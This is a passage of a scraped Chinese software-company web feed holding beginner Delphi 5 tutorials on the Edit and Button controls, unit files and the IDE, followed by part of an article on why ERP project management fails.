<keywords>Delphi,标准,控件,掩码,编辑,MaskEdit,洪恩 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi标准控件-编辑框（Edit） </title>
<link>http://www.youjoys.cn/knowledge/20110728/324.html </link>
<description>编辑框也是Windows程序中常用的组件，它主要用于输入单行文字。下面解释编辑框一些常用属性。 Edit常用的几个事件为：OnChange、OnKeyPress、OnEnter事件，下面 </description>
<text>
	洪恩在线

	编辑框也是Windows程序中常用的组件，它主要用于输入单行文字。下面解释编辑框一些常用属性。

	Edit常用的几个事件为：OnChange、OnKeyPress、OnEnter事件，下面对它们做简单的介绍：

	上边介绍的三个编辑框事件非常有用，在Delphi编程中经常用到。使用这三个事件，可以实现一些很有用的功能：

	
		
			
				属性
			
				说明
		
		
			
				PasswordChar
			
				这个属性在一些编辑框组件如TMaskEdit、TDBEdit中都有。缺省时该属性为#0，即没有掩码。用户可以自己设置一个掩码，如&amp;lsquo;*&amp;rsquo;，则用户在编辑框中输入的字符都将以&amp;lsquo;*&amp;rsquo;字符显示，而隐藏真实的字符。
		
		
			
				AutoSize
			
				确定编辑框是否随字体变化而自动变动尺寸，缺省为True
		
		
			
				Text
			
				该属性用于显示和保存编辑框中的字符串
		
		
			
				MaxLength
			
				确定编辑框最多可以输入的字符数，缺省时为0，表示可以输入任意多的字符
		
		
			
				ReadOnly
			
				确定程序运行时，用户是否可以改变编辑框中的内容。若为True，表示不可以编辑。
		
		
			
				AutoSelect
			
				确定当编辑框获得输入焦点时，编辑框中的文字是否自动被选中
		
	


	
		
			
				事件
			
				说明
		
		
			
				OnChange
			
				当编辑框中的内容发生变化时，触发该事件，它是Edit中最常用，也是最有用的事件之一
		
		
			
				OnKeyPress
			
				当按下一个按键时，触发该事件
		
		
			
				OnEnter
			
				编辑框获得输入焦点时，触发该事件
		
	


	１.使用OnEnter事件，可以在编辑框获得输入焦点时，给出提示或触发其它事件。下面的实例在编辑框Edit1获得输入焦点时给出一个提示信息，并使将Button1失效。

	procedure TForm1.Edit1Enter(Sender: TObject);
	　　 begin
	　　 showmessage(&amp;#39;请输入您的密码&amp;#39;);
	　　 Button1.Enabled:=False;
	　　 end;

	2.使用OnKeyPress事件，可以限制在编辑框中输入的字符的种类。下面的例子限制了编辑框Edit1中只能输入数字，而不能输入其它的字符。若按下非数字按键，将发出蜂鸣声。

	procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
	　　 begin
	　　 if not(key in[&amp;#39;0&amp;#39;..&amp;#39;9&amp;#39;,#8]）then
	　　　 begin
	　　　　 key:=#0;
	　　　　 MessageBeep(-1);
	　　　 end;
	　　 end;

	在上边的例程中，Key为按下的字符，使用not方法来判断输入的字符是否为数字（０至９）或者是删除键＃8（注意不要连删除键也屏蔽）。如果是非数字输入，使用语句&amp;ldquo;Key:=#0&amp;rdquo;将其屏蔽，#0为空，表示没有输入。

	3.使用OnChange事件，可以在编辑框中的内容发生某种变化时，触发其它事件，如使按钮生效或失效，让输入焦点转移到某个控件上。下面的例程在编辑框Edit1中的内容为&amp;lsquo;123456&amp;rsquo;时，使Button1生效，同时将输入焦点转移到Button1上。

	procedure TForm1.Edit1Change(Sender: TObject);
	　　 begin
	　　　 if Edit1.Text=&amp;#39;123456&amp;#39; then
	　　　　　 begin
	　　　　　　 button1.Enabled:=true;
	　　　　　　 Form1.FocusControl(button1);
	　　　　　 end;
	　　 end;

	下面我们将使用Edit控件的这些特性编写一个简单的&amp;ldquo;身份验证&amp;rdquo;程序，程序中使用了两个Label、两个Edit和两个BitBtn控件。其中Edit1、Edit2的MaxLength属性值都为６，Edit2的PasswordChar为&amp;lsquo;*&amp;rsquo;；另外Edit1限制了输入，只接收数字。

	当用户在Edit1中输入６个数字后，输入焦点自动跳到Edit2中；当确认Edit１和Edit２中的学号和密码输入正确（学号为950755，密码为123456），Ok按钮被激活，并获得输入焦点。程序界面如下图所示：

	&amp;nbsp;

	unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons; type TForm1 = class(TForm) Label1: TLabel; Label2: TLabel; Edit1: TEdit; Edit2: TEdit; BitBtn1: TBitBtn; BitBtn2: TBitBtn; procedure BitBtn2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Edit1Change(Sender: TObject); procedure Edit2Change(Sender: TObject); procedure BitBtn1Click(Sender: TObject); procedure Edit1KeyPress(Sender: TObject; var Key: Char); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.BitBtn2Click(Sender: TObject); begin close;　　//关闭窗体 end; procedure TForm1.FormCreate(Sender: TObject); begin Edit1.text:=&amp;#39;&amp;#39;; //创建窗体时，让编辑框为空 Edit2.text:=&amp;#39;&amp;#39;; BitBtn1.Enabled:=false; end; procedure TForm1.Edit1Change(Sender: TObject); begin //当编辑框Edit1中为6个字符时，输入焦点跳到Edit2 if length(edit1.Text)=6 then form1.FocusControl(Edit2); end; procedure TForm1.Edit2Change(Sender: TObject); begin //如果两个编辑框中的输入是正确的，Ok按钮被被激活并获得输入焦点 if (Edit2.Text=&amp;#39;123456&amp;#39;) and (Edit1.Text=&amp;#39;950755&amp;#39;) then begin bitbtn1.Enabled:=true; form1.FocusControl(bitBtn1); end; end; procedure TForm1.BitBtn1Click(Sender: TObject); begin showmessage(&amp;#39;您通过了身份验证。&amp;#39;); close; end; procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char); begin　　//限制编辑框的输入，只接收数字 if not (key in[&amp;#39;0&amp;#39;..&amp;#39;9&amp;#39;,#8])then begin key:=#0; messagebeep(1); end; end; end.

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,标准,控件,编辑,Edit,洪恩在线,编辑,也 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi标准控件-按钮（Button）和位图按钮（BitBtn） </title>
<link>http://www.youjoys.cn/knowledge/20110728/325.html </link>
<description>按钮（Button）是Windows应用程序界面中最常用、最简单的组件之一。除了按钮之外，Delphi还提供了一种位图按钮（BitBtn）。这种按钮的不同之处在于按钮上可以显 </description>
<text>
	洪恩在线

	按钮（Button）是Windows应用程序界面中最常用、最简单的组件之一。除了按钮之外，Delphi还提供了一种位图按钮（BitBtn）。这种按钮的不同之处在于按钮上可以显示位图。下面我们通过一个简单的例子来介绍这两种按钮。

	在窗体Form1上放置两个普通按钮和两个位图按钮以及一个编辑框Edit，然后再添加一个窗体Form2，在其上放置一个标签和两个位图按钮。程序界面如下图所示：

	　

	按下表设置各按钮的属性：

	
		
			
				&amp;nbsp;
			
				Form1
			
				Form2
		
		
			
				属性
			
				Button1
			
				Button2
			
				BitBtn1
			
				BitBtin2
			
				BitBtn1
			
				BitBtn2
		
		
			
				Caption
			
				Button1
			
				Button2
			
				对话框
			
				&amp;amp;Close
			
				Ok
			
				Cancel
		
		
			
				Kind
			
				　　
			
				　　
			
				bkCustom
			
				bkClose
			
				bkOk
			
				bkCancel
		
		
			
				Cancel
			
				False
			
				True
			
				False
			
				False
			
				False
			
				False
		
		
			
				Default
			
				True
			
				False
			
				False
			
				False
			
				False
			
				False
		
		
			
				ModalResult
			
				mrNone
			
				mrNone
			
				mrNone
			
				mrNone
			
				mrOk
			
				mrCancel
		
	


	以上均是按钮常用的一些属性,下面作简单的介绍:

	
		
			
				Cancel:
			
				该属性值为True时,则无论用户何时按Esc键,都会执行该按钮的OnClick事件。如果同一个窗体上具有多个这样的按钮,则会执行TabOrder值最小的按钮的OnClick事件。
		
		
			
				Default:
			
				这个属性和Cancel属性相似。当用户按下Enter键时，将执行该按钮的OnClick事件。但有一个例外，如果当前拥有输入焦点的控件为另一个按钮时，按Enter键时则只执行当前按钮的OnClick事件。
		
		
			
				Kind:
			
				这个属性为位图按钮所特有，选择Kind属性的某个选项，用于决定该位图按钮的种类每一种位图按钮具有自己独特的功能。位图按钮常用于各种对话框或模态窗口中，根据按钮的ModalResult属性值来决定对模态窗口的操作。　
		
		
			
				ModalResult：
			
				模态值。当我们单击位图按钮时，将把对话框的模态值设为相同的值。它将决定位图按钮的父窗体的关闭方式。如单击mbOk按钮,将关闭对话框，返回mrOk值。
		
	


	在完成界面设计后，开始编写事件处理过程。程序清单如下：

	unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons; type TForm1 = class(TForm) Button1: TButton; Button2: TButton; BitBtn1: TBitBtn; BitBtn2: TBitBtn; Edit1: TEdit; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure BitBtn1Click(Sender: TObject); procedure BitBtn2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses unit2; //调用Unit2的申明； {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin edit1.Text:=&amp;#39;Button1的Default属性为True&amp;#39;; end; procedure TForm1.Button2Click(Sender: TObject); begin showmessage(&amp;#39;Button2的Cancel属性为True&amp;#39;); //显示出一个信息框 end; procedure TForm1.BitBtn1Click(Sender: TObject); begin form2.ShowModal; //让Form2以模态窗口的显示出来； end; procedure TForm1.BitBtn2Click(Sender: TObject); begin end; end.

	由于在程序中我们使用了两个窗体，而在Delphi中每个窗体对应一个单元，所以程序中便有两个单元（Unit1和Unit2）。在Delphi中不同单元之间的调用要在调用单元的实现部分（implementation）的开始进行申明，这里为：

	implementation
	　　　 uses unit2;

	在添加Form2时，系统将自动在项目文件Project.dpr中添加生成Form2的语句：

	Application.CreateForm(TForm2, Form2);

	但是，程序运行时，只显示出Form1，Form2是隐藏的。为了显示出Form2，我们在窗体Form1的BitBtn1按钮的OnClick事件中添加如下的语句：

	form2.ShowModal;

	单击BitBtn1按钮，将以模态窗体的形式显示出来。所谓模态窗体（ModalForm）是指该窗体关闭之前，其他的窗体不能接受输入焦点。

	　　按下F9编译运行程序，然后按Esc键，将弹出一个信息框，如右图所示。由于Button2的Cancel属性设为True，所以程序运行时，无论何时按下Esc键，将启动Button2的OnClick事件：

	procedure TForm1.Button2Click(Sender: TObject);
	　　　 begin
	　　　 showmessage(&amp;#39;Button2的Cancel属性为True&amp;#39;); //显示出一个信息框
	　　　 end;

	即按Esc键相当于单击Button2。

	单击Edit1，将输入焦点置于编辑框内，然后按下会车键。此时将发现触发了Button1的OnClick事件：

	procedure TForm1.Button1Click(Sender: TObject);
	　　　 begin
	　　　 edit1.Text:=&amp;#39;Button1的Default属性为True&amp;#39;;
	　　　 end;

	因为Button1的Default属性设置为True，所以当输入焦点在编辑框中时，按下会车键时，将触发Button1的OnClick事件，如下图所示。

	&amp;nbsp;

	单击BitBtn1（标题为&amp;ldquo;对话框&amp;rdquo;）按钮，将弹出Form2窗体。Form2为模态对话框，单击mbOk按钮或mbCancel按钮，对话框都将自动关闭。如果你不想让对话框关闭，可以将位图按钮的ModalResult属性设置为BrNone。

	单击Form1的BitBtn2按钮（标题为&amp;ldquo;Close&amp;rdquo;），Form1将自动关闭。Form1为非模态窗体，但是BitBtn2按钮为mbClose按钮，所以它具有关闭窗体的功能。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,标准,控件,按钮,Button,位图,BitB </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi 5 Enterprise版10大特点 </title>
<link>http://www.youjoys.cn/knowledge/20110728/326.html </link>
<description>1.支持XML标准，在Web上快速提交商业信息。 Delphi简化了数据分布、优化了数据交换过程。对XML的支持，使开发人员快速构建的系统具有弹性和可扩展性，以适应Int </description>
<text>洪恩在线 
				
		
		1.支持XML标准，在Web上快速提交商业信息。 
Delphi简化了数据分布、优化了数据交换过程。对XML的支持，使开发人员快速构建的系统具有弹性和可扩展性，以适应Internet电子商务带来的新技术浪潮。 
2.利用InternetExpress构建高速Internet应用。 
Delphi 5使开发人员能够用DHTML和XML开发超&amp;ldquo;薄&amp;rdquo;（ultra-thin）客户端，并在Internet上快速分发标准Web特征的客户端应用程序。InternetExpress包括Web Client Page向导、MIDAS PageProducer和WebBroker，用于构建分布式DHTML和XML应用程序以适应众多客户端和大量数据的需要。 
3.支持ADO。 
利用Microsoft的ActiveX Data Object（ADO）和OLE DB技术，Delphi 5能够快速访问关系型和非关系型数据库，其中包括电子邮件和文件系统。开发人员可以对Internet信息进行直接访问，帮助用户更好地进行商业决策。 TeamSource增强了整个开发队伍的工作效率。 
4.Delphi 5使整个开发团队能够更协调、更快速地工作。
TeamSource革新了管理源代码的方法。TeamSource建立在已有的源代码管理和版本管理之上，并通过一个高效的工作流模式对其功能进行扩展，简化了大型、分散的开发团队的源代码管理。 
5.MIDAS扩展Internet应用。 
提交适应大交易量及多用户数的应用系统。建立Internet应用可以简化对Internet或Intranet上众多的浏览器客户端或Windows客户端的管理。MIDAS支持所有的分布式计算标准，如CORBA、COM和MTS，并能将原有系统与电子商务和Internet应用平滑地集成在一起。 
6.InterBase Express构建卓越的关键应用系统。 
Delphi 5使Delphi和InterBase更紧密地结合，即将高效率、高性能的开发工具与快速、低维护量和优化配置的中小型关系型数据库等技术融于一体。利用InterBase Express组件，VARs、Sls和ISVs能够快速地交付和分发高效的应用系统。 
7.Borland Translation Suite将Delphi 5应用程序快速地本地化。 
在可视化地开发不同地域的应用程序的同时，Delphi还可以管理资源文件的转换，并将转换信息保存在一个库（repository），加速了国际化开发。 
8.利用Delphi的专业IDE构建强大、坚固的应用程序。 
Delphi的可视化开发环境使开发人员只要在面板上选择相应组件就能够快速建立应用程序和开发原型。Delphi 5最新Project Browsing和Data Module view帮助程序员更好地理解代码和数据，从而大大提高开发效率。To Do List功能和新增开发向导，如Control panel Wizard，加快了程序编写速度。 
9.Visual Component Library增强面向对象开发的威力。 
开发人员可以创建、定制和重用自己的组件，也可以从Delphi的Visual Component Library中的200多个组件里选适用的组件择。用最新的Frames功能开发者能够可视化地为商业逻辑创建组件。开发人员能够开放地访问VCL源代码，包括新增的Decision Cube组件和附加的Property Editors，以及为支持MS Office而提供的最新Automation组件。Delphi基于组件技术大大简化了许多复杂的开发任务。 
10.进一步增强的调试功能使复杂的项目更快地适应市场需求。 
用Delphi 5对相当复杂的项目进行纠错和改错也会变得十分简单。Delphi进一步增强的调试功能使开发人员可以更好地理解和掌握程序代码，其中包括Breakpoint ToolTips、Actions、Groups、FPU/MMx View、以及对Drag和Drop的支持，等等。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi5的单元文件 </title>
<link>http://www.youjoys.cn/knowledge/20110728/327.html </link>
<description>单元文件是Delphi程序中最重要的文件，它包含了程序中最主要的源代码，无论是窗体和组件的事件处理过程或单独的源代码都保存在单元文件中。对于初学者来说，Del </description>
<text>洪恩在线 
				
		
		单元文件是Delphi程序中最重要的文件，它包含了程序中最主要的源代码，无论是窗体和组件的事件处理过程或单独的源代码都保存在单元文件中。对于初学者来说，Delphi的单元文件比较复杂。这里将对Delphi５的单元文件进行介绍。
单元文件分为有窗体文件和无窗体文件两种。每当用户在项目中新建一个窗体，例如使用&amp;ldquo;File|New Form&amp;rdquo;或加速按钮创建一个新窗体，Delphi就会自动创建一个相应的单元文件。如果用户需要一个无窗体的单元文件，则应该使用&amp;ldquo;File|New Unit&amp;rdquo;菜单命令或在项目管理器中添加一个单元文件。可以说每个窗体对应着一个单元，反过来说则不一定成立。
创建一个新的应用程序时，程序只有一个单元文件Unit1和一个相应的窗体Form1。下面是一个典型的带窗体的单元文件结构：
unit Unit1; //单元名interface //接口部分uses //用来申明本单元内访问到的各单元Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs，　//标准单元Unit2，Unit3;　//用户自定义的单元type TForm1 = class(TForm) //申明一个新窗体类Label1: TLabel; //窗体上的组件被申明为新类的对象Button1: TButton; ScrollBar1: TScrollBar; RadioButton1: TRadioButton; ComboBox1: TComboBox;
procedure Button1Click(Sender: TObject); //所有的事件也被申明为新类的方法procedure ComboBox1Change(Sender: TObject); procedure Label1Click(Sender: TObject); procedure RadioButton1Click(Sender: TObject);
private //私有申明{ Private declarations }　
public //公共申明{ Public declarations } end; varForm1: TForm1; //申明一个窗体对象
implementation //实现部分
UsesUnit4；
{$R *.DFM} 
end.
在interface（接口部分）起始处的Uses子句指出本单元用到的各单元，其中有系统的标准单元，我们也可以添加自定义的单元。然后定义了一个新的窗体类Tform1，窗体上所有的组件都被申明为新类中的一个对象，而且是Published类型的。所有的事件处理过程也被申明为Published类型，这样就能在设计阶段对组件的属性进行修改或改变处理事件。然后申明了一个新窗体类的窗体对象，该对象名即窗体的Name属性。
implementation（实现部分）包含了程序的执行代码和其它的隐含申明。
不同单元之间的引用可以使用Uses语句。例如，如果Unit1中需要引用Unit2中的变量和对象，可以在Unit1的interface部分的Uses语句中添加单元名Unit2。但是有一点需要注意的是，Delphi中不允许循环引用。所以我们不能在Unit2的interface部分的Uses语句中加入对Unit1的引用。如果Unit2中确实需要引用Unit1中的变量或对象，我们该怎么办呢？我们可以在Unit2的implementation（实现部分）手工添加Uses语句进行申明：
implementationUsesUnit1； 
interface（接口部分）可以申明一些不同的元素，包括过程、函数、全局变量和数据类型。当申明一个新类并把它放进单元时，可以写入单元的interface部分内，这被称为类的接口（也就是它的申明），也可以写入单元的implementation部分。变量不同的申明具有不同的作用域。变量只有在它的作用域内才有意义。
在定义例程事件或过程内申明的变量,只能在本过程中使用。当程序执行定义该变量的例程时会分配内存给该变量,一旦例程终止,内存会自动释放。
在implementation部分申明的变量，只能在本单元使用，而不能在单元外使用。
在interface部分申明的变量，它的作用域将扩展到使用Uses语句申明本单元的其它单元中。例如，如果Unit2中使用Uses申明引用Unit1，那么Unit2中便可以使用Unit1中在interface部分任何申明的变量。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi5的集成开发环境（IDE） </title>
<link>http://www.youjoys.cn/knowledge/20110728/328.html </link>
<description>启动Delphi5，进入它的集成环境，你可以看到如下图所示四个窗口，这四个窗口是开发Delphi应用程序的主要工具。 在Delphi5的主窗口中，包含了Delphi的标题栏、桌 </description>
<text>
	洪恩在线

	启动Delphi5，进入它的集成环境，你可以看到如下图所示四个窗口，这四个窗口是开发Delphi应用程序的主要工具。

	&amp;nbsp;

	在Delphi5的主窗口中，包含了Delphi的标题栏、桌面管理器、菜单栏、加速栏和组件板五部分，它是管理其他窗口和Delphi集成开发环境的工具。其中加速栏提供了文件查看、保存、打开、关闭、添加和删除等功能；组件板用于按类放置各种组件，单击某个选项卡的标签，该选项的卡下的组件就显现出来；桌面管理器（如下图所示）是新版本的Delphi提供的新功能，它允许我们定制自己的IDE，并将它保存下来。

	&amp;nbsp;

	Delphi5的对象查看器（Object Inspector）用于查看和设置程序中各控件的属性。与以前的对象查看器相比，它有了一些新的变化，最重要的变化包括图形下拉式列表和属性类别的使用。

	前者容易理解和使用。它是指对象查看器中某些属性的下拉列表中可以包括图形元素，如下图左图所示。属性类别是Delphi5新添的功能，它可以使对象属性按特定的类别进行排放。为了根据类别而不是按名称（默认）来显示属性，可以用鼠标右击对象查看器，选择菜单命令&amp;ldquo;Arrange|ByGrategory&amp;rdquo;即可，结果如下图右图所示。

	　　

	代码编辑器用来编写应用程序的代码，也称为Editor窗口，如下图所示。在初始状态下，代码窗口掩藏在窗体下，我们可以通过快捷键F12将它显示出来。代码编辑窗口的标题显示的当前单元的文件名，缺省为Unit1.PAS。由于一个应用程序可以有多个单元，所以在编辑器中将有多个选项卡，用于显示本单元代码。在编辑窗口中除了显示单元文件（*.PAS）外，还可以显示当前的项目文件(*.DPR）。选择&amp;ldquo;View|Project Source&amp;rdquo;，就可以查看当前项目文件的内容。

	&amp;nbsp;

	窗体设计是用户使用最多的一个Delphi窗口，它用于将组件放置于窗体上。用户可以使用鼠标或通过Object Inspector直接选择某个控件。如果某个控件完全遮盖了另一个控件，可以使用ESC键选择父控件，这样我们可以按一次或多次ESC键来选择窗体。

	
		&amp;nbsp;

 </text>
<image> </image>
<keywords>Delphi5,集成开发,环境,IDE,洪恩在线,启动,De </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi简介 </title>
<link>http://www.youjoys.cn/knowledge/20110728/329.html </link>
<description>Delphi是著名的Borland（现在已和Inprise合并）公司开发的可视化软件开发工具。真正的程序员用c，聪明的程序员用Delphi，这句话是对Delphi最经典、最实在的描述 </description>
<text>洪恩在线 
				
		
		Delphi是著名的Borland（现在已和Inprise合并）公司开发的可视化软件开发工具。&amp;ldquo;真正的程序员用c，聪明的程序员用Delphi&amp;rdquo;，这句话是对Delphi最经典、最实在的描述。Delphi被称为第四代编程语言，它具有简单、高效、功能强大的特点。和VC相比，Delphi更简单、更易于掌握，而在功能上却丝毫不逊色；和VB相比，Delphi则功能更强大、更实用。可以说Delphi同时兼备了VC功能强大和VB简单易学的特点。它一直是程序员至爱的编程工具。
Delphi具有以下的特性：基于窗体和面向对象的方法，高速的编译器，强大的数据库支持，与Windows编程紧密结合，强大而成熟的组件技术。但最重要的还是Object Pascal语言，它才是一切的根本。 Object Pascal语言是在Pascal语言的基础上发展起来的，简单易学。
Delphi提供了各种开发工具，包括集成环境、图像编辑（Image Editor），以及各种开发数据库的应用程序，如DesktopDataBase Expert等。除此之外，还允许用户挂接其它的应用程序开发工具，如Borland公司的资源编辑器（Resourse Workshop）。
在Delphi众多的优势当中，它在数据库方面的特长显得尤为突出：适应于多种数据库结构，从客户机／服务机模式到多层数据结构模式；高效率的数据库管理系统和新一代更先进的数据库引擎；最新的数据分析手段和提供大量的企业组件。
Delphi发展至今，从Delphi１、Delphi２到现在的Delphi5，不断添加和改进各种特性，功能越来越强大。Delphi５添加了对IDE（集成开发环境）的很多改进新特性，扩展了数据库支持（ADO和InterBase数据库），带有Internet支持的MIDAS改进版，TeamSouse版本控制工具，转换功能，框架概念以及很多的新组件与新特性。
Delphi5功能十分完善和强大，本栏目将以它为基础，介绍Delphi的开发环境、基本概念、控件的使用、常用的编程方法和编程技巧。本栏目的对象为Delphi初学者，主旨是帮助初学者更快更好掌握Delphi基本的编程方法和技巧。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>看实例学DELPHI </title>
<link>http://www.youjoys.cn/knowledge/20110728/330.html </link>
<description> </description>
<text>洪恩 洪恩
				
		
		一、DELPHI和DELPHI编程环境介绍
1.
2.
3.
4.
二、DELPHI常用组件的使用
1.
2.
3.
4.
5.
6. </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>品牌眼镜防伪查询系统 </title>
<link>http://www.youjoys.cn/case/20110725/95.html </link>
<description>定制品牌眼镜防伪查询系统 </description>
<text>
	定制品牌眼镜防伪查询系统

	http://www.6612315.com/
 </text>
<image> </image>
<keywords>品牌眼镜,防伪,查询系统 </keywords>
<category>成功案例 </category>
<author>深圳软件公司 </author>
<source>未知 </source>
<pubDate>2011-07-25 10:48 </pubDate>
</item>
<item>
<title>[软件开发]ERP实施进程中项目管理失控的几种表现 </title>
<link>http://www.youjoys.cn/knowledge/20110724/4.html </link>
<description>项目管理失控的几种表现 黄尚这几天烦躁得直想骂人，忙碌于四处救火的他差点处于崩溃状态。黄尚是公司ERP项目实施负责人，他所负责的ERP项目正处于失控的边缘状态。项目计划处于不受控状态，上线时间无限期延期，成本超支，团队成员心情浮躁，凝聚力低。他把 </description>
<text>
	项目管理失控的几种表现

	黄尚这几天烦躁得直想骂人，忙碌于四处救火的他差点处于崩溃状态。黄尚是公司ERP项目实施负责人，他所负责的ERP项目正处于失控的边缘状态。项目计划处于不受控状态，上线时间无限期延期，成本超支，团队成员心情浮躁，凝聚力低。他把自己困在烟雾弥漫的办公室里，猛吸一口香烟，痛苦的双手抱着头，在思考着一个问题：ERP项目实施为什么会走到失控这一步？原因究竟是什么呢？

	项目管理失控的几种表现

	实施ERP项目管理过程中，稍有不慎就容易失控主要表现在以下几个方面：

	① 项目经理不能掌控全局

	项目经理常见的缺陷是缺乏大型ERP系统的实施经验，如果项目经理缺少掌控全局的能力，再加上对企业管理理解有限，就容易不能清楚地界定自己的需求，所以ERP项目是否制定了明确有效的目标和范围，是项目实施中的一大关键。企业总想花较少的钱办较多的事，项目目标过大、过多、范围过宽，而ERP项目本身是一个高风险项目，过多的目标、过宽的范围对驾驭控制项目都是极为重大的挑战。

	②项目计划执行乏力

	企业执行ERP项目计划往往朝令夕改，毫无确定性。其中重要的原因是企业往往低估了实施的难度，安排计划不切实际，执行过程中又严重缺乏执行力度，往往计划只具有理论上可行性，而一旦付诸实施，则不能被严格执行。

	③人员流动大，人力资源管理失控

	任何项目都需要人来做，而ERP项目更需要高素质的人才参与。目前的大部分ERP项目过程中都会或多或少发生成员变动，甚至有的变动率超过百分之五十。面对焕然一新的项目组成员，将会对原有ERP项目产生很多问题，项目中人力资源的管理问题需要进一步得到解决。

	所以，ERP项目人力资源管理就是在对项目目标、规划、进展以及各种变量进行有序的分析、规划基础上，对项目过程中的所有相关人员给予有效的协调、控制和管理。同时，项目管理中团队组建完成并不等于团队建设的完成，团队建设是伴随项目团队的整个生命周期的活动，团队建设活动包括为提高团队运作水平而进行的管理和采用的措施。

	④时间管理严重滞后和失控

	实施ERP是个庞大的管理和系统综合性项目，过程控制主要是体现在项目实施过程中的时间控制。包括控制项目实施过程中各阶段投入的各种资源和达到的目标所用的时间，使之尽可能达到项目实施计划要求。当一个切实可行的总体实施计划和目标被制定和批准以后，如何监督和控制就成了一个重要的问题。根据在许多项目中的实施的经验，基本上可以这样讲，很少有一个项目是完全按照实施计划预定的时间来进行的，所以高效的时间管理就显得非常重要。

	⑤项目成本管理失控，严重超出预算

	项目成本是评价一个项目是否成功的一个关键因素，所以成本的变化将直接影响项目的成功。因此，ERP实施的关键问题就在于如何有效的在预期成本下达成预期目标。往往的情况是项目经理在开始不注重有效控制成本，而到项目实施一段时间之后，发现项目预算已经不能保证项目的完成了，或者半途而废，或者追加投入，而追加投入又会遇到企业资金是否充足的影响。所以我们建议在项目开始之前一定尽量准确的做出项目预算，避免在途中因资金影响项目进展。方法是分阶段进行成本评估，当每个阶段都能够在成本控制范围之内，那么最终的项目一定保证在成本范围内成功，当出现项目费用超出预算成本的时候要及时调整，确保总体成本控制在范围之内。

	⑥未能有效进行风险控制

	实施ERP的风险控制可以分为四个步骤：识别风险、衡量风险、管理风险、监控项目进程与状态。识别风险主要的工作是确定可能影响项目实施的风险并记录风险的特征。在识别风险的同时，需要辩证地分析其负面效应和正面效应。衡量风险主要是对识别的风险进行评估，确定风险与风险之间的相互作用以及潜在的一系列后果，同时还需要确定风险的重要性和处理风险的优先次序。

	管理风险是风险控制中最为直接，也是最为关键的一个步骤。在管理风险过程中，需要对风险的正面效应(即潜在的机会)制定增强措施，对风险的负面效应 (即可能的威胁)制定应付方法。对于不同的风险，需要根据其重要性、影响大小以及已经确定的处理优先次序，采取相应的措施加以控制，对负面风险的反应可以是尽量避免、努力减小或设法接收。ERP几乎是与失败阴影伴随而生的，没有一个企业希望这个阴影降临在自己头上。因此，必须重视强化实施过程中的项目风险管理。#p#副标题#e#

	高效ERP项目管理精要

	&amp;nbsp;

	根据笔者多年实施ERP的经验，无法正确认知ERP和界定ERP项目管理中的主要内容成为众多ERP项目失败的诱因。ERP项目具有项目管理的一般内容，诸如目标、范围、进度、预算、风险、质量等内容。

	项目管理是ERP项目的核心，一般都强调对项目计划、成本、风险、资源等几大要素的良好控制与预防。这几点只要是项目经理都知道，可项目结果却千差万别，所以提高ERP项目管理水平迫在眉睫。

	&amp;nbsp;

	针对如何做好ERP项目管理，应确立整体规划，分步实施的原则。为了达到项目实施后的预期成果和目标，应对ERP项目所有方面进行计划、组织、管理和监控。笔者认为从以下几个方面来展开：

	第一，首先将项目按阶段划分成几大环节，如项目准备、项目启动、需求分析、系统建立、正式上线、辅助运行等。如果要想深度管好一个ERP项目，每一大环节需要做哪些事要尽量细化，仅仅是一些大的原则是不够的，还有很多要考虑的问题。盲目的开端必然注定着悲剧性的结果。在项目开始前的准备工作非常重要，不能过于随意，否则整个项目的进程将会受到很大的影响，挽回难于登天。

	第二，在第一步的基础上将所有问题列成清单，每一个问题都必须要有相应的应对方案。　例如在项目开始时对企业的整体需求和期望作出分析和评估，并据此明确ERP项目成果的期望和目标。在明确企业期望和需求的基础上，定义ERP项目的整体范围。根据项目期望和目标以及预计项目的实施范围，对企业自身的人力资源、技术支持等方面作出评估，明确需要为配合项目而采取的措施和投资的资源。最后针对项目时间、进度、人员等作出总体安排，落实和执行此计划。

	有位管理大师说过，项目成功管理者必须做好三件事情，就是确定，分配和追踪任务。简单来说，ERP项目管理也可以概括为这三个方面： ①将一个大阶段分成多个小阶段，按照每一个小阶段进行时间计划；②监督和控制每一个小阶段的时间计划可行性，监督和控制按照计划的资源投入；③监督和控制问题的发生，分清责任者，并且监督和控制调整的措施及其执行情况。

	成功ERP项目管理的关键控制点

